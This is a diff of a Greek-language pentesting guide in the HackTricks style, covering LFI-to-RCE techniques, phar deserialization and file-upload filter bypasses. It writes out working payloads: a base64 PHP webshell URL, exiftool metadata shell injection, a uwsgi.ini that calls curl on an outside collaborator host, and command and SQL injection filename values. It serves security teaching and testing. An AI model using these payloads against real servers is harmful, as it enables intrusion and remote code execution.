αρχεία _/var/lib/php5/sess\\_\[PHPSESSID]\_ ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` -Ρυθμίστε το cookie σε `` +Ορίστε το cookie σε `` ``` login=1&user=&pass=password&lang=en_us.php ``` @@ -552,14 +555,14 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s ### **Via** **vsftpd** _**logs**_ -Τα logs για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο server vsftpd, τα παρακάτω βήματα μπορούν να ληφθούν υπόψη: +Τα logs για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο server vsftpd, μπορούν να ληφθούν υπόψη τα εξής βήματα: 1. Εισάγετε ένα PHP payload στο πεδίο ονόματος χρήστη κατά τη διαδικασία σύνδεσης. 2. Μετά την εισαγωγή, χρησιμοποιήστε το LFI για να ανακτήσετε τα logs του server από το _**/var/log/vsftpd.log**_. ### Via php base64 filter (using base64) -Όπως φαίνεται σε [αυτό](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) το άρθρο, το PHP base64 filter απλώς αγνοεί τα μη base64. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο της επέκτασης αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει απλώς το "." και θα προσθέσει "php" στο base64. Ακολουθεί ένα παράδειγμα payload: +Όπως φαίνεται σε [αυτό](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) το άρθρο, το PHP base64 filter απλά αγνοεί τα μη base64. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο της επέκτασης αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει απλά το "." και θα προσθέσει "php" στο base64. Ακολουθεί ένα παράδειγμα payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -567,7 +570,7 @@ NOTE: the payload is "" ``` ### Via php filters (no file needed) -Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php κώδικα** για την συμπερίληψη **χωρίς να χρειάζεται να τον γράψετε** σε ένα αρχείο. +Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php code** για την συμπερίληψη **χωρίς να χρειάζεται να το γράψετε** σε ένα αρχείο. {{#ref}} lfi2rce-via-php-filters.md @@ -575,7 +578,7 @@ lfi2rce-via-php-filters.md ### Via segmentation fault -**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε. +**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια, στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε. {{#ref}} lfi2rce-via-segmentation-fault.md @@ -583,7 +586,7 @@ lfi2rce-via-segmentation-fault.md ### Via Nginx temp file storage -Αν βρείτε μια **Local File Inclusion** και το **Nginx** τρέχει μπροστά από το PHP, μπορεί να μπορέσετε να αποκτήσετε RCE με την παρακάτω τεχνική: +Αν βρείτε μια **Local File Inclusion** και **Nginx** τρέχει μπροστά από το PHP, μπορεί να μπορέσετε να αποκτήσετε RCE με την παρακάτω τεχνική: {{#ref}} lfi2rce-via-nginx-temp-files.md @@ -591,7 +594,7 @@ lfi2rce-via-nginx-temp-files.md ### Via PHP_SESSION_UPLOAD_PROGRESS -Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε συνεδρία** και το `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** στα **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει τη συνεδρία για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE: +Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε συνεδρία** και το `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** σε **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει τη συνεδρία για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE: {{#ref}} via-php_session_upload_progress.md @@ -607,7 +610,7 @@ lfi2rce-via-temp-file-uploads.md ### Via `pearcmd.php` + URL args -Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το σενάριο `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε εικόνες docker php. Επιπλέον, είναι δυνατόν να περάσετε παραμέτρους στο σενάριο μέσω της διεύθυνσης URL, καθώς αναφέρεται ότι αν μια παράμετρος URL δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως παράμετρος. +Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το script `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε εικόνες docker php. Επιπλέον, είναι δυνατό να περάσετε παραμέτρους στο script μέσω της διεύθυνσης URL, καθώς αναφέρεται ότι αν μια παράμετρος URL δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως παράμετρος. Η παρακάτω αίτηση δημιουργεί ένα αρχείο στο `/tmp/hello.php` με το περιεχόμενο ``: ```bash @@ -624,6 +627,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php Αν βρείτε μια **Local File Inclusion** και ένα αρχείο που εκθέτει **phpinfo()** με file_uploads = on μπορείτε να αποκτήσετε RCE: + {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} @@ -632,13 +636,15 @@ lfi2rce-via-phpinfo.md Αν βρείτε μια **Local File Inclusion** και μπορείτε να **εξάγετε τη διαδρομή** του προσωρινού αρχείου ΑΛΛΑ ο **διακομιστής** **ελέγχει** αν το **αρχείο που θα συμπεριληφθεί έχει PHP marks**, μπορείτε να προσπαθήσετε να **παρακάμψετε αυτόν τον έλεγχο** με αυτή τη **Race Condition**: + {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} ### Μέσω αιώνιας αναμονής + bruteforce -Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **brute force ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο: +Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, θα μπορούσατε τότε να **brute force ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο: + {{#ref}} lfi2rce-via-eternal-waiting.md @@ -657,7 +663,7 @@ _Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα πρ - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) -- [Horizon3.ai – Από το Support Ticket στο Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) +- [Horizon3.ai – Από Υποστήριξη Εισιτηρίου σε Zero Day (FreeFlow Core path traversal → αυθαίρετη εγγραφή → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) - [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) {{#file}} diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md index fad22d9a4..fcd25a291 100644 --- a/src/pentesting-web/file-inclusion/phar-deserialization.md +++ b/src/pentesting-web/file-inclusion/phar-deserialization.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -**Phar** αρχεία (PHP Archive) **περιέχουν μεταδεδομένα σε σειριοποιημένη μορφή**, έτσι, όταν αναλυθούν, αυτά τα **μεταδεδομένα** **αποσειριοποιούνται** και μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια ευπάθεια **αποσειριοποίησης** μέσα στον **PHP** κώδικα. +**Phar** αρχεία (PHP Archive) **περιέχουν μεταδεδομένα σε σειριοποιημένη μορφή**, έτσι, όταν αναλυθούν, αυτά τα **μεταδεδομένα** **αποσειριοποιούνται** και μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια ευπάθεια **αποσειριοποίησης** μέσα στον κώδικα **PHP**. Το καλύτερο πράγμα σχετικά με αυτή τη χαρακτηριστική είναι ότι αυτή η αποσειριοποίηση θα συμβεί ακόμη και χρησιμοποιώντας συναρτήσεις PHP που δεν εκτελούν κώδικα PHP όπως **file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize()**. -Έτσι, φανταστείτε μια κατάσταση όπου μπορείτε να κάνετε έναν PHP ιστό να πάρει το μέγεθος ενός αυθαίρετου αρχείου χρησιμοποιώντας το πρωτόκολλο **`phar://`**, και μέσα στον κώδικα βρίσκετε μια **κλάση** παρόμοια με την εξής: +Έτσι, φανταστείτε μια κατάσταση όπου μπορείτε να κάνετε μια PHP ιστοσελίδα να πάρει το μέγεθος ενός αυθαίρετου αρχείου χρησιμοποιώντας το πρωτόκολλο **`phar://`**, και μέσα στον κώδικα βρίσκετε μια **κλάση** παρόμοια με την εξής: ```php:vunl.php AAA.php +7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη κενά αρχεία. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψεις περαιτέρω περιορισμούς (.π.χ. “file.asp::$data.”) +8. Δοκίμασε να σπάσεις τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -61,36 +61,36 @@ AAA<--SNIP 232 A-->AAA.php.png ### Bypass Content-Type, Magic Number, Compression & Resizing -- Παρακάμψτε τους ελέγχους **Content-Type** ρυθμίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_, _text/plain_, application/octet-stream_ +- Παρακάμψε τους ελέγχους **Content-Type** ρυθμίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_, _text/plain_, application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Παρακάμψτε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\ +- Παρακάμψε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\ `exiftool -Comment="' >> img.png` -- Αν **συμπιέσεις προστίθενται στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. +- Αν **συμπιέσεις προστίθεται στην εικόνα σου**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. +- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Μια άλλη τεχνική για να δημιουργήσετε μια payload που **επιβιώνει σε αλλαγές μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. +- Μια άλλη τεχνική για να δημιουργήσεις ένα payload που **επιβιώνει σε αλλαγή μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείς να χρησιμοποιήσεις την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγεις κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. - [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) ### Other Tricks to check -- Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση). -- Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor. +- Βρες μια ευπάθεια για να **μετονομάσεις** το αρχείο που έχει ήδη ανέβει (για να αλλάξεις την επέκταση). +- Βρες μια ευπάθεια **Local File Inclusion** για να εκτελέσεις το backdoor. - **Πιθανή αποκάλυψη πληροφοριών**: -1. Ανεβάστε **αρκετές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα** -2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη** -3. Ανεβάστε ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”. -4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows) -5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows) -6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9. -- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελεί κώδικα** όταν ακούσια ανοιχτεί από το θύμα. +1. Ανέβασε **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα** +2. Ανέβασε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη** +3. Ανέβασε ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”. +4. Ανέβασε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows) +5. Ανέβασε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows) +6. Ανέβασε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9. +- Δοκίμασε επίσης να **ανέβεις ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελεί κώδικα** όταν ακούσια ανοιχτεί από το θύμα. ### Special extension tricks -Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP διακομιστή**, [ρίξτε μια ματιά στο κόλπο **.htaccess** για να εκτελέσετε κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP διακομιστή**, [ρίξτε μια ματιά στο κόλπο **.config** για να εκτελέσετε κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **PHP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.htaccess** για να εκτελέσεις κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Αν προσπαθείς να ανεβάσεις αρχεία σε έναν **ASP διακομιστή**, [ρίξε μια ματιά στο κόλπο **.config** για να εκτελέσεις κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Τα αρχεία `.phar` είναι όπως τα `.jar` για την java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...) @@ -98,17 +98,17 @@ AAA<--SNIP 232 A-->AAA.php.png ## **Jetty RCE** -Αν μπορείτε να ανεβάσετε ένα αρχείο XML σε έναν διακομιστή Jetty μπορείτε να αποκτήσετε [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το αρχείο XML στο `$JETTY_BASE/webapps/` και περιμένετε το shell! +Αν μπορείς να ανεβάσεις ένα αρχείο XML σε έναν διακομιστή Jetty μπορείς να αποκτήσεις [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανέβασε το αρχείο XML στο `$JETTY_BASE/webapps/` και περίμενε το shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας ελέγξτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας, έλεγξε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το "exec" σχήμα είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται. -Σκεφτείτε το παρακάτω παράδειγμα ενός επιβλαβούς αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα: +Σκέψου το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα: ```ini [uwsgi] ; read from a symbol @@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο πρέπει να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνεύσει αλλαγές. +Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο πρέπει να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνευθούν αλλαγές. Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης. ## **wget File Upload/SSRF Trick** Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για να **κατεβάσει αρχεία** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα κατεβούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\ -Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με το όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**. +Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, το **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με το όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -164,21 +164,21 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= ## Από τη μεταφόρτωση αρχείων σε άλλες ευπάθειες -- Ορίστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **παραβίαση διαδρομής** +- Ορίστε το **filename** σε `../../../tmp/lol.png` και προσπαθήστε να επιτύχετε μια **διαδρομή διαδρομής** - Ορίστε το **filename** σε `sleep(10)-- -.jpg` και μπορεί να μπορέσετε να επιτύχετε μια **SQL injection** - Ορίστε το **filename** σε `` για να επιτύχετε XSS - Ορίστε το **filename** σε `; sleep 10;` για να δοκιμάσετε κάποια εκτέλεση εντολών (περισσότερα [tricks εκτέλεσης εντολών εδώ](../command-injection.md)) - [**XSS** σε μεταφόρτωση αρχείου εικόνας (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **JS** αρχείο **μεταφόρτωσης** + **XSS** = [**εκμετάλλευση Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- **JS** αρχείο **μεταφόρτωσης** + **XSS** = [**Εκμετάλλευση Υπηρεσιών Εργαζομένων**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE σε μεταφόρτωση svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Ανοιχτή ανακατεύθυνση** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files) +- [**Ανοιχτή Ανακατεύθυνση** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files) - Δοκιμάστε **διαφορετικά payloads svg** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Διάσημη ευπάθεια **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποιο **δημόσιο** site, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**. +- Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να 